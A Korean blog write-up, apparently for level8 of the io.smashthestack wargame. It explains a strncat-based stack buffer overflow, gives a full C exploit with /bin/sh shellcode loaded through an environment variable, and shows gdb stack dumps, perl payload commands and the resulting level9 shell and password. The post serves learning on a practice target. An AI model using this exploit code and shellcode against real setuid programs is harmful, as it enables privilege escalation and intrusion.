level8
level8 바이너리의 소스는 그대로인데 strncat으로 붙이면 buf의 내용이 전과는 다르더군요.
이전엔 do_the_nasty 함수의 ret를 덮어 씌웠지만 이번에는 main 함수의 ret를 덮어 씌웠습니다.
사용한 exploit. (pass : ynfbxd6t)
#include#include #include #define NOP 0x90 #define TARGET "/levels/level8" char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char *cmd1, *cmd2; char *ptr, *egg; long *addr_ptr, addr; int size1=32, size2=112; int i; if (!(cmd1 = malloc(size1))) { printf("Can't allocate memory.\n"); exit(0); } if (!(cmd2 = malloc(size2))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(2048))) { printf("Can`t allocate memory.\n"); exit(0); } addr = get_esp(); printf("Using address: 0x%x\n", addr); ptr = cmd1; for (i = 0; i < size1; i++) *(ptr++) = '\x90'; ptr = cmd2; *(ptr++) = NOP; addr_ptr = (long *) ptr; for (i = 0; i < size2; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < 2048 - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; egg[2048 - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); execl(TARGET,"level8",cmd1,cmd2,NULL); }
--------------------------------------------------------------------
#include <string.h>
// A little learning is a dangerous thing; drink deep, or taste not the Pierian
// spring: there shallow draughts intoxicate the brain, and drinking largely
// sobers us again - Alexander Pope
void do_the_nasty(char *argv[])
{
char buf[32];
strncpy(buf, argv[1], sizeof(buf));
strncat(buf, argv[2], sizeof(buf)-strlen(buf)-1);
}
int main(int argc, char *argv[])
{
do_the_nasty(argv);
return 0;
}
level8의 소스입니다. 딱보니 sizeof 와 strlen 의 차이를 이용한 문제입니다.
버퍼는 차지하지만 길이에는 포함 안되는 NULL(\x90)을 이용하면 BOF 할수 있겠네요.
확인해보겠습니다.
level8@io:/levels$ ./level8 `perl -e 'print "A"x4,"\x90"x28," ","AAAA"x2'`
Segmentation fault
다행입니다. 흠.. 그러고보니 이렇게 되면 버퍼 사이즈때문에 쉘코드를 올릴 수가 없으니..
환경변수를 이용해야겠군요.
우선 디스어셈블된 코드를 확인했습니다.
Dump of assembler code for function do_the_nasty:
0x08048394 <do_the_nasty+0>: push %ebp
0x08048395 <do_the_nasty+1>: mov %esp,%ebp
0x08048397 <do_the_nasty+3>: push %edi
0x08048398 <do_the_nasty+4>: sub $0x34,%esp 52만큼 스택을 확장
0x0804839b <do_the_nasty+7>: mov 0x8(%ebp),%eax
0x0804839e <do_the_nasty+10>: add $0x4,%eax
0x080483a1 <do_the_nasty+13>: mov (%eax),%eax argv[1]의 주소를 eax로
0x080483a3 <do_the_nasty+15>: movl $0x20,0x8(%esp) 32를 esp + 8로
0x080483ab <do_the_nasty+23>: mov %eax,0x4(%esp) argv[1]의 주소를 esp+4로
0x080483af <do_the_nasty+27>: lea 0xffffffdc(%ebp),%eax
0x080483b2 <do_the_nasty+30>: mov %eax,(%esp) ebp-36을 esp로
0x080483b5 <do_the_nasty+33>: call 0x80482c8 <strncpy@plt> strncpy( ebp-36, argv[1], 32);
......
52만큼 확장된 스택에서 buf 가 위치하는곳은 ebp-36이므로 ret address 를 덮어 씌우기 위해서는
buf(36) + ebp + ret , 총 44바이트를 덮어 씌워야 할겁니다. eggshell을 변형해서 환경변수에 쉘코드를
올렸습니다.
egg 라는 환경변수로 올려놓고 다음과 같이 입력했습니다만 세그 폴트가 났습니다.
Using address: 0xbfffdd18
sh-3.1$ /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Segmentation fault
스택에 들어갈때의 모습이 궁금해서 열어보기로 했습니다.
(gdb) r `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Starting program: /levels/level8 `perl -e 'print "\x90"x32," ","\x18\xdd\xff\xbf"x3'`
Breakpoint 1, 0x080483fa in do_the_nasty ()
(gdb) info reg
eax 0xbfffd4e4 -1073752860
ecx 0xbfffd512 -1073752814
edx 0x3ffffffc 1073741820
ebx 0x4a4ff4 4870132
esp 0xbfffd4d0 xbfffd4d0
ebp 0xbfffd508 0xbfffd508
esi 0x0 0
edi 0xbfffd508 -1073752824
eip 0x80483fa 0x80483fa <do_the_nasty+102>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/60x 0xbfffd4d0
0xbfffd4d0: 0xbfffd4e4 0xbfffd6b3 0xfffffffc 0x003da80e
0xbfffd4e0: 0xbfffd4e4 0x90909090 0x90909090 0x90909090
0xbfffd4f0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffd500: 0x90909090 0x18bd2cc0 0x18bfffdd 0x18bfffdd
0xbfffd510: 0x00bfffdd 0xbfffd530 0xbfffd578 0x0038bea8
0xbfffd520: 0x00000000 0x00bd2cc0 0xbfffd578 0x0038bea8
0xbfffd530: 0x00000003 0xbfffd5a4 0xbfffd5b4 0x00000000
0xbfffd540: 0x004a4ff4 0x00000000 0x00bd2cc0 0xbfffd578
0xbfffd550: 0xbfffd530 0x0038be6d 0x00000000 0x00000000
0xbfffd560: 0x00000000 0x00bc8090 0x0038bded 0x00bd2ff4
0xbfffd570: 0x00000003 0x080482f0 0x00000000 0x08048311
0xbfffd580: 0x08048400 0x00000003 0xbfffd5a4 0x08048480
0xbfffd590: 0x08048430 0x00bc8c40 0xbfffd59c 0x00bd34e4
0xbfffd5a0: 0x00000003 0xbfffd683 0xbfffd692 0xbfffd6b3
0xbfffd5b0: 0x00000000 0xbfffd6c0 0xbfffd6d0 0xbfffd6db
(gdb)
붉은색으로 표시한 곳에 3바이트가 있네요. strncat으로 붙이면 이 다음 부터 붙게되서 4바이트 형태의
원하는 주소값이 제대로 안들어 갑니다.
따라서 NOP를 1바이트 더 줘서 주소값이 제대로 들어가도록 해봤습니다.
sh-3.1$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8)
sh-3.1$ cat /home/level9/.pass
apt2tute
'War game > io.smashthestack.org' 카테고리의 다른 글
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level9 (0) | 2010.01.21 |
level7 (0) | 2010.01.19 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |